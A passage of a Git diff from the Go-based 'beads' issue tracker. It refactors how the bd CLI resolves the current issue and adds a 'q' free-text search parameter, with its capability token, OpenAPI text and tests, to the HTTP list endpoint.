resolveCurrentIssueIDFrom(ctx context.Context, querier issueops.Querier, currentActor func() string, fallback func() string) (string, error) { + if querier == nil { + return fallback(), nil + } + id, err := issueops.FindCurrentIssue(ctx, querier, currentActor()) + if err != nil { + return "", err + } + if id == "" { + return fallback(), nil + } + return id, nil +} diff --git a/cmd/bd/show_current_test.go b/cmd/bd/show_current_test.go index 14d0339c0..6eeec607f 100644 --- a/cmd/bd/show_current_test.go +++ b/cmd/bd/show_current_test.go @@ -3,140 +3,66 @@ package main import ( "context" "errors" - "reflect" "testing" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) -type currentIssueSearchCall struct { - query string - filter types.IssueFilter +type fixedQuerier struct { + ids []string + err error + n int } -type currentIssueSearchResponse struct { - issues []*types.Issue - err error +func (q *fixedQuerier) Query(context.Context, issueops.QueryRequest) (issueops.IssuePage, error) { + q.n++ + if q.err != nil { + return issueops.IssuePage{}, q.err + } + items := make([]*types.IssueWithCounts, 0, len(q.ids)) + for _, id := range q.ids { + items = append(items, &types.IssueWithCounts{Issue: &types.Issue{ID: id}}) + } + return issueops.IssuePage{Items: items}, nil } -type currentIssueSearchRecorder struct { - responses []currentIssueSearchResponse - calls []currentIssueSearchCall -} +// The lookup itself is issueops.FindCurrentIssue's (issueops/current_test.go). +// What the CLI owns is the fallback: last-touched answers only a lookup that +// answered and found nothing, never a failed one. -func (r *currentIssueSearchRecorder) SearchIssues(_ context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { - r.calls = append(r.calls, currentIssueSearchCall{query: query, filter: filter}) - response := r.responses[len(r.calls)-1] - return response.issues, response.err -} - -func TestResolveCurrentIssueIDFromInProgressShortCircuits(t *testing.T) { - searcher := ¤tIssueSearchRecorder{ - responses: []currentIssueSearchResponse{{ - issues: []*types.Issue{{ID: "in-progress-first"}, {ID: "in-progress-second"}}, - }}, - } - actorCalls := 0 - - got := resolveCurrentIssueIDFrom(context.Background(), searcher, func() string { - actorCalls++ - return "tester" - }, func() string { - t.Fatal("fallback called after in-progress result") - return "" - }) - - if got != "in-progress-first" { - t.Fatalf("resolveCurrentIssueIDFrom() = %q, want %q", got, "in-progress-first") - } - if actorCalls != 1 { - t.Fatalf("actor calls = %d, want 1", actorCalls) - } - assertCurrentIssueSearchCalls(t, searcher.calls, "tester", types.StatusInProgress) -} - -func TestResolveCurrentIssueIDFromFindsHookedAfterInProgressMiss(t *testing.T) { - searcher := ¤tIssueSearchRecorder{ - responses: []currentIssueSearchResponse{ - {err: errors.New("in-progress search failed")}, - {issues: []*types.Issue{{ID: "hooked"}}}, - }, - } - - got := resolveCurrentIssueIDFrom(context.Background(), searcher, func() string { - return "tester" - }, func() string { - t.Fatal("fallback called after hooked result") - return "" - }) - - if got != "hooked" { - t.Fatalf("resolveCurrentIssueIDFrom() = %q, want %q", got, "hooked") - } - assertCurrentIssueSearchCalls(t, searcher.calls, "tester", types.StatusInProgress, types.StatusHooked) -} - -func TestResolveCurrentIssueIDFromFallsBackAfterTwoMisses(t *testing.T) { - searcher := ¤tIssueSearchRecorder{ - responses: []currentIssueSearchResponse{{}, {}}, - } - fallbackCalls := 0 - - got := resolveCurrentIssueIDFrom(context.Background(), searcher, func() string { - return "tester" - }, func() string { - fallbackCalls++ - return "last-touched" - }) - - if got != "last-touched" { - t.Fatalf("resolveCurrentIssueIDFrom() = %q, want %q", got, "last-touched") - } - if fallbackCalls != 1 { - t.Fatalf("fallback calls = %d, want 1", fallbackCalls) - } - assertCurrentIssueSearchCalls(t, searcher.calls, "tester", types.StatusInProgress, types.StatusHooked) -} - -func TestResolveCurrentIssueIDFromNilSearcherUsesFallback(t *testing.T) { - actorCalls := 0 - fallbackCalls := 0 - - got := resolveCurrentIssueIDFrom(context.Background(), nil, func() string { - actorCalls++ - return "tester" - }, func() string { - fallbackCalls++ - return "last-touched" - }) - - if got != "last-touched" { - t.Fatalf("resolveCurrentIssueIDFrom() = %q, want %q", got, "last-touched") - } - if actorCalls != 0 { - t.Fatalf("actor calls = %d, want 0", actorCalls) - } - if fallbackCalls != 1 { - t.Fatalf("fallback calls = %d, want 1", fallbackCalls) +func TestResolveCurrentIssueIDFromUsesTheLookupBeforeTheFallback(t *testing.T) { + got, err := resolveCurrentIssueIDFrom(context.Background(), &fixedQuerier{ids: []string{"in-progress"}}, + func() string { return "tester" }, + func() string { t.Fatal("fallback called after a found issue"); return "" }) + if err != nil || got != "in-progress" { + t.Fatalf("got (%q, %v), want (in-progress, nil)", got, err) } } -func assertCurrentIssueSearchCalls(t *testing.T, got []currentIssueSearchCall, actor string, statuses ...types.Status) { - t.Helper() +func TestResolveCurrentIssueIDFromFallsBackOnlyOnAMiss(t *testing.T) { + got, err := resolveCurrentIssueIDFrom(context.Background(), &fixedQuerier{}, + func() string { return "tester" }, func() string { return "last-touched" }) + if err != nil || got != "last-touched" { + t.Fatalf("got (%q, %v), want (last-touched, nil)", got, err) + } +} - want := make([]currentIssueSearchCall, 0, len(statuses)) - for _, status := range statuses { - status := status - want = append(want, currentIssueSearchCall{ - query: "", - filter: types.IssueFilter{ - Status: &status, - Assignee: &actor, - }, - }) +func TestResolveCurrentIssueIDFromNeverFallsBackOnAFailure(t *testing.T) { + refusal := errors.New("not supported over HTTP") + got, err := resolveCurrentIssueIDFrom(context.Background(), &fixedQuerier{err: refusal}, + func() string { return "tester" }, + func() string { t.Fatal("fallback called after a failed read"); return "" }) + if !errors.Is(err, refusal) || got != "" { + t.Fatalf("got (%q, %v), want (\"\", an error wrapping the refusal)", got, err) } +} - if !reflect.DeepEqual(got, want) { - t.Fatalf("SearchIssues calls = %#v, want %#v", got, want) +func TestResolveCurrentIssueIDFromNilQuerierUsesFallback(t *testing.T) { + got, err := resolveCurrentIssueIDFrom(context.Background(), nil, + func() string { t.Fatal("actor resolved without a querier"); return "" }, + func() string { return "last-touched" }) + if err != nil || got != "last-touched" { + t.Fatalf("got (%q, %v), want (last-touched, nil)", got, err) } } diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 71f278c78..741bbbb63 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -100,13 +100,14 @@ func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string return err } - uw, err := proxiedOpenReadUOW(ctx) - if err != nil { + // Resolved BEFORE the unit of work opens: --current reads through the + // provider's Querier role, which runs its own read. + if err := resolveShowProxiedIDs(ctx, in); err != nil { return err } - if err := resolveShowProxiedIDs(ctx, uw, in); err != nil { - uw.Close(ctx) + uw, err := proxiedOpenReadUOW(ctx) + if err != nil { return err } @@ -140,12 +141,15 @@ func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string // resolveShowProxiedIDs turns --current into an explicit id and rejects an // empty id list, the same checks the direct route makes before dispatching. -func resolveShowProxiedIDs(ctx context.Context, uw uow.UnitOfWork, in *showProxiedInput) error { +func resolveShowProxiedIDs(ctx context.Context, in *showProxiedInput) error { if in.currentMode { if len(in.ids) > 0 { return HandleErrorRespectJSON("--current cannot be combined with explicit issue IDs") } - currentID := resolveCurrentIssueIDProxied(ctx, uw) + currentID, err := resolveCurrentIssueID(ctx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } if currentID == "" { return HandleErrorRespectJSON("no current issue found (no in-progress, hooked, or recently touched issues)") } diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 65380e5a8..4183dd53b 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1101,7 +1101,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`, `issues.advanceMolecule`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown, and `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores the default P2 rather than P0, and `issues.close.autoCloseMolecule`, which announces that `POST /v0/beads/issues/{id}:close` and `POST /v0/beads/issues:batchClose` accept `auto_close_molecule` and answer `auto_closed_molecule` and `molecule_auto_close_refusal` rather than a `400` naming the member unknown. One behavior token is CONDITIONAL rather than build-level: `policy.external_dependencies` announces that this server's ready, claim, claim-next, close, blocking and dependency-tree operations already apply bd's external-dependency policy (an issue blocked by an unsatisfied `external::` dependency is neither ready, claimable nor closable without force). A server advertises it only when it enforces that policy; a client that sees it must not apply the policy again, and a client that does not see it applies the policy itself. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`, `issues.advanceMolecule`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown, and `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores the default P2 rather than P0, and `issues.close.autoCloseMolecule`, which announces that `POST /v0/beads/issues/{id}:close` and `POST /v0/beads/issues:batchClose` accept `auto_close_molecule` and answer `auto_closed_molecule` and `molecule_auto_close_refusal` rather than a `400` naming the member unknown, and `issues.list.search`, which announces that `GET /v0/beads/issues` accepts `q`, `bd search`'s free text (see that parameter), rather than silently answering `unknown_parameter`. One behavior token is CONDITIONAL rather than build-level: `policy.external_dependencies` announces that this server's ready, claim, claim-next, close, blocking and dependency-tree operations already apply bd's external-dependency policy (an issue blocked by an unsatisfied `external::` dependency is neither ready, claimable nor closable without force). A server advertises it only when it enforces that policy; a client that sees it must not apply the policy again, and a client that does not see it applies the policy itself. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL, apart from the conditional `policy.external_dependencies` above, which depends on how this server composed its roles rather than on the build. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -2396,6 +2396,8 @@ type ListIssuesParams struct { // IncludeEphemeral Include the ephemeral tier — ephemeral rows and the non-synced rows stored beside them — merged into the same order as the durable ones, whichever order `sort` named. // // It admits a TIER and takes no TYPE exclusion off, so a row whose type this operation already hides stays hidden. That includes the configured infrastructure types: ephemeral `agent`, `role` and `message` rows need `include_infra` as well as, or instead of, this one. What `include_ephemeral` alone reaches is the ephemeral rows of the types a listing already shows. + // + // A `type` this workspace calls infra is the one NARROWING it lifts. Such a type on its own reads only that type's ephemeral rows, which is where creating one puts it; with `include_ephemeral` the type's durable rows (a promoted wisp, an issue retyped after it was created) are listed as well. `include_infra` alone keeps the narrowing. IncludeEphemeral *bool `form:"include_ephemeral,omitempty" json:"include_ephemeral,omitempty"` // CreatedBefore Only issues created strictly before this instant (RFC 3339). @@ -2410,6 +2412,11 @@ type ListIssuesParams struct { // HasMetadataKey Only issues carrying this top-level metadata key. HasMetadataKey *string `form:"has_metadata_key,omitempty" json:"has_metadata_key,omitempty"` + // Q `bd search`'s free text. A row matches when its title or its id contains the text, case-insensitively; a text shaped like an issue id also matches that exact id, an id prefix, and the external reference. It narrows the listing and lifts none of its default exclusions, so a caller that wants `bd search`'s every-status, every-kind answer also sends `all`, `include_templates`, `include_gates`, `include_infra` and `include_ephemeral`. + // + // Behind the `issues.list.search` behavior token: an older server answers `unknown_parameter` for this name. A client with the handshake's capabilities cached refuses a search locally against a server that does not advertise the token, rather than paying for that round trip. + Q *string `form:"q,omitempty" json:"q,omitempty"` + // Sort Which of the two served total orders this page is in. `created` is `(created_at DESC, id ASC)`; `priority` is `(priority ASC, created_at DESC, id ASC)` — `bd list`'s flagless ordering, and the order `bd list --sort priority` produces. // // THE DEFAULT IS `created` AND WILL NOT CHANGE. It is what this operation served before this parameter existed, so moving it would alter which rows a truncated page contains for every client written against that behavior, with no error to notice it by. @@ -2547,7 +2554,7 @@ type CountIssuesParams struct { // Type One issue type, with `status`'s match-nothing-rather-than-fail treatment and NO shorthand alias expansion at all — unlike `GET /v0/beads/ready`'s `type`, which expands aliases. // - // It has a SECOND effect under `include_infra`: a type this workspace calls infra routes the count to the ephemeral tier. See that parameter. + // It has a SECOND effect under `include_infra`: a type this workspace calls infra routes the count to the ephemeral tier, unless `include_ephemeral` is also set. See that parameter. Type *string `form:"type,omitempty" json:"type,omitempty"` // Assignee Only issues assigned to this actor. Sending it beside `no_assignee` is not refused: the two are handed to the filter as written and answer with the empty intersection, which is `0`. @@ -2616,6 +2623,8 @@ type CountIssuesParams struct { // IncludeEphemeral Admit the EPHEMERAL PLANE — the wisps table — and nothing else. Exactly the first of `include_infra`'s four changes, with none of the other three: no type exclusion is taken off, so a row whose TYPE a default count already excludes stays excluded. // // It exists because there was no way to ask for that one thing. The write path routes on STORAGE CLASS, not type, so a `no_history` bead lives in the wisps table while remaining ordinary durable work. Reaching it needed `include_infra`, which also drops template rows of the named type — one silent undercount traded for another. + // + // Beside `include_infra` it also lifts the fourth change's routing of an infra `type`, so that type's durable rows are counted along with its ephemeral ones rather than instead of them. IncludeEphemeral *bool `form:"include_ephemeral,omitempty" json:"include_ephemeral,omitempty"` // HasMetadataKey Only issues carrying this top-level metadata key. @@ -2623,7 +2632,7 @@ type CountIssuesParams struct { // IncludeInfra Count the cardinality of `bd list --include-infra --all` instead of the durable plane. IT CHANGES FOUR THINGS AT ONCE, and they are listed rather than summarized because a caller reading "include infra" would expect one: // - // the ephemeral wisps tier is MERGED IN, picking up both wisps and the `no_history` beads that are durable work stored in that tier; template molecules are EXCLUDED, which a default count includes; gate beads are EXCLUDED unless `type=gate` asks for them by name; and a `type` this workspace calls infra ROUTES the count to the ephemeral tier instead of the durable one. + // the ephemeral wisps tier is MERGED IN, picking up both wisps and the `no_history` beads that are durable work stored in that tier; template molecules are EXCLUDED, which a default count includes; gate beads are EXCLUDED unless `type=gate` asks for them by name; and a `type` this workspace calls infra ROUTES the count to the ephemeral tier instead of the durable one — unless `include_ephemeral` is also set, which keeps the durable tier as well, as `GET /v0/beads/issues` does. // // The infra vocabulary is the WORKSPACE's, read from its configuration inside the role. A caller does not supply it and cannot — that config load is what this role exists to keep off both front doors. // diff --git a/internal/httpapi/reads.go b/internal/httpapi/reads.go index 988f6298e..2e616f314 100644 --- a/internal/httpapi/reads.go +++ b/internal/httpapi/reads.go @@ -375,6 +375,9 @@ func (s *Server) handleListIssues(w http.ResponseWriter, r *http.Request) { MetadataFields: q.metadataFields("metadata_field"), HasMetadataKey: q.str("has_metadata_key"), + // `bd search`'s text, behind issues.list.search (CapIssuesListSearch). + Query: q.str("q"), + Limit: q.limit(), } diff --git a/internal/httpapi/reads_test.go b/internal/httpapi/reads_test.go index 51cbb88ab..f67dd3fe5 100644 --- a/internal/httpapi/reads_test.go +++ b/internal/httpapi/reads_test.go @@ -23,7 +23,10 @@ type recordingIssues struct { mu sync.Mutex ready []types.WorkFilter search []types.IssueFilter - items []*types.IssueWithCounts + // queries is the free-text argument of each SearchIssuesWithCounts call, + // index-aligned with search. + queries []string + items []*types.IssueWithCounts } func (f *recordingIssues) GetReadyWorkWithCounts(_ context.Context, filter types.WorkFilter) (domain.SearchCountsPage, error) { @@ -33,9 +36,10 @@ func (f *recordingIssues) GetReadyWorkWithCounts(_ context.Context, filter types return domain.SearchCountsPage{Items: f.items}, nil } -func (f *recordingIssues) SearchIssuesWithCounts(_ context.Context, _ string, filter types.IssueFilter) (domain.SearchCountsPage, error) { +func (f *recordingIssues) SearchIssuesWithCounts(_ context.Context, query string, filter types.IssueFilter) (domain.SearchCountsPage, error) { f.mu.Lock() f.search = append(f.search, filter) + f.queries = append(f.queries, query) f.mu.Unlock() return domain.SearchCountsPage{Items: f.items}, nil } @@ -52,6 +56,12 @@ func (f *recordingIssues) readyFilters() []types.WorkFilter { return append([]types.WorkFilter(nil), f.ready...) } +func (f *recordingIssues) searchQueries() []string { + f.mu.Lock() + defer f.mu.Unlock() + return append([]string(nil), f.queries...) +} + func (f *recordingIssues) searchFilters() []types.IssueFilter { f.mu.Lock() defer f.mu.Unlock() @@ -434,6 +444,33 @@ func TestListForwardsTheEphemeralPlaneParameter(t *testing.T) { } } +// TestListForwardsTheSearchText is the handler half of ListRequest.Query +// (issues.list.search): `q` reaches the storage seam as SearchIssues' free-text +// argument — not as TitleSearch, which matches titles only — and its absence +// sends no text at all. +func TestListForwardsTheSearchText(t *testing.T) { + for _, tc := range []struct { + name, path, want string + }{ + {"absent sends no text", "/v0/beads/issues", ""}, + {"q is the search text", "/v0/beads/issues?q=login+bug&all=true", "login bug"}, + } { + t.Run(tc.name, func(t *testing.T) { + ts, rec := newReadServer(t, Config{}) + if resp := ts.get(t, tc.path); resp.StatusCode != http.StatusOK { + t.Fatalf("GET %s: status = %d, want 200", tc.path, resp.StatusCode) + } + queries := rec.searchQueries() + if len(queries) != 1 || queries[0] != tc.want { + t.Fatalf("search texts = %q, want [%q]", queries, tc.want) + } + if f := rec.searchFilters()[0]; f.TitleSearch != "" || f.TitleContains != "" { + t.Errorf("q leaked into a title-only filter: TitleSearch=%q TitleContains=%q", f.TitleSearch, f.TitleContains) + } + }) + } +} + // TestTheEphemeralPlaneParameterIsTheSkewSignal pins the version-skew half. // // A client that sends `include_ephemeral` to a server built before this diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index e4f6519cc..206a798c8 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -119,6 +119,19 @@ const CapIssuesListSort = "issues.list.sort" // count. const CapIssuesCountScope = "issues.count.scope" +// CapIssuesListSearch is the behavior capability that advertises GET +// /v0/beads/issues' `q` parameter (reads.go, spec `q` on OpListIssues): +// `bd search`'s free text, carried as issueops.ListRequest.Query. Like +// CapIssuesListSort it names a PARAMETER added to an existing operation, so it +// rides behaviorCapabilities, and it is the token the parameter's OpenAPI +// description cites for TestNewParameterOnExistingOperationHasABehaviorToken. +// +// The client (internal/httpclient) refuses a search locally against a server +// that does not advertise it, with ErrUnsupported naming the token, so a +// search is never sent to a server that would answer `unknown_parameter` and +// is never widened into an unsearched listing. +const CapIssuesListSearch = "issues.list.search" + // CapIssuesSweepWispsPlane is the behavior capability that advertises the // `wisps-plane` value of SweepRequest.tier (sweep.go, spec SweepRequest.tier): // a third, wider tier that clears the whole wisps table plus any durable bead @@ -986,7 +999,7 @@ var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, - CapIssuesCloseAutoCloseMolecule, + CapIssuesCloseAutoCloseMolecule, CapIssuesListSearch, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 7210f3d98..90af30763 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -638,7 +638,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", "issues.batchApply.depAddLineage", "issues.update.allowTemplate", "issues.create.defaultPriority", - "issues.close.autoCloseMolecule") + "issues.close.autoCloseMolecule", "issues.list.search") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 8dc0099d6..e9db266a3 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -1260,6 +1260,14 @@ paths: `message` rows need `include_infra` as well as, or instead of, this one. What `include_ephemeral` alone reaches is the ephemeral rows of the types a listing already shows. + + + A `type` this workspace calls infra is the one NARROWING it lifts. + Such a type on its own reads only that type's ephemeral rows, which + is where creating one puts it; with `include_ephemeral` the type's + durable rows (a promoted wisp, an issue retyped after it was + created) are listed as well. `include_infra` alone keeps the + narrowing. schema: type: boolean default: false @@ -1291,6 +1299,25 @@ paths: description: Only issues carrying this top-level metadata key. schema: type: string + - name: q + in: query + description: >- + `bd search`'s free text. A row matches when its title or its id + contains the text, case-insensitively; a text shaped like an issue + id also matches that exact id, an id prefix, and the external + reference. It narrows the listing and lifts none of its default + exclusions, so a caller that wants `bd search`'s every-status, + every-kind answer also sends `all`, `include_templates`, + `include_gates`, `include_infra` and `include_ephemeral`. + + + Behind the `issues.list.search` behavior token: an older server + answers `unknown_parameter` for this name. A client with the + handshake's capabilities cached refuses a search locally against a + server that does not advertise the token, rather than paying for + that round trip. + schema: + type: string - name: sort in: query description: >- @@ -1871,8 +1898,8 @@ paths: It has a SECOND effect under `include_infra`: a type this workspace - calls infra routes the count to the ephemeral tier. See that - parameter. + calls infra routes the count to the ephemeral tier, unless + `include_ephemeral` is also set. See that parameter. schema: type: string - name: assignee @@ -2033,6 +2060,11 @@ paths: lives in the wisps table while remaining ordinary durable work. Reaching it needed `include_infra`, which also drops template rows of the named type — one silent undercount traded for another. + + + Beside `include_infra` it also lifts the fourth change's routing of + an infra `type`, so that type's durable rows are counted along with + its ephemeral ones rather than instead of them. schema: type: boolean default: false @@ -2055,7 +2087,9 @@ paths: template molecules are EXCLUDED, which a default count includes; gate beads are EXCLUDED unless `type=gate` asks for them by name; and a `type` this workspace calls infra ROUTES the count to the - ephemeral tier instead of the durable one. + ephemeral tier instead of the durable one — unless + `include_ephemeral` is also set, which keeps the durable tier as + well, as `GET /v0/beads/issues` does. The infra vocabulary is the WORKSPACE's, read from its configuration @@ -8195,7 +8229,7 @@ components: `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than - silently answering `unknown_parameter`, and + silently answering `unknown_parameter`, `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than @@ -8213,7 +8247,10 @@ components: `POST /v0/beads/issues:batchClose` accept `auto_close_molecule` and answer `auto_closed_molecule` and `molecule_auto_close_refusal` rather than a `400` naming the - member unknown. One behavior token is + member unknown, and `issues.list.search`, which announces that + `GET /v0/beads/issues` accepts `q`, `bd search`'s free text (see + that parameter), rather than silently answering + `unknown_parameter`. One behavior token is CONDITIONAL rather than build-level: `policy.external_dependencies` announces that this server's ready, claim, claim-next, close, blocking and dependency-tree operations already apply bd's diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 6604685ac..29d527ff6 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -5855,6 +5855,14 @@ "style": "form", "explode": true }, + { + "schema": "param:listIssues", + "member": "query:q", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, { "schema": "param:listIssues", "member": "query:sort", diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 265a370e8..2dbd3ee07 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -10,6 +10,7 @@ go_library( "batchcloser.go", "batchcreator.go", "batchgetter.go", + "blocked_recomputer.go", "bridge.go", "ca.go", "ca_permissions_other.go", @@ -116,6 +117,7 @@ go_test( "insecure_credential_guard_test.go", "lifecycle_create_test.go", "lifecycle_update_test.go", + "list_search_test.go", "list_sort_test.go", "metadatacas_test.go", "molecule_test.go", diff --git a/internal/httpclient/blocked_recomputer.go b/internal/httpclient/blocked_recomputer.go new file mode 100644 index 000000000..603dcf8ee --- /dev/null +++ b/internal/httpclient/blocked_recomputer.go @@ -0,0 +1,12 @@ +package httpclient + +import "github.com/steveyegge/beads/internal/storage" + +// BlockedStateMaintainedByServer satisfies storage.ServerMaintainedBlockedState: +// the server derives and maintains is_blocked (issueops.BlockedStateInvariant's +// local-write clause runs on every write the server commits) and the column +// lives in the server's database, so storage.RecomputeBlocked answers +// storage.BlockedMaintainedByServer for this store and dials nothing. +func (s *Store) BlockedStateMaintainedByServer() bool { return true } + +var _ storage.ServerMaintainedBlockedState = (*Store)(nil) diff --git a/internal/httpclient/encode/encode.go b/internal/httpclient/encode/encode.go index 41be7e31e..3db3f19bd 100644 --- 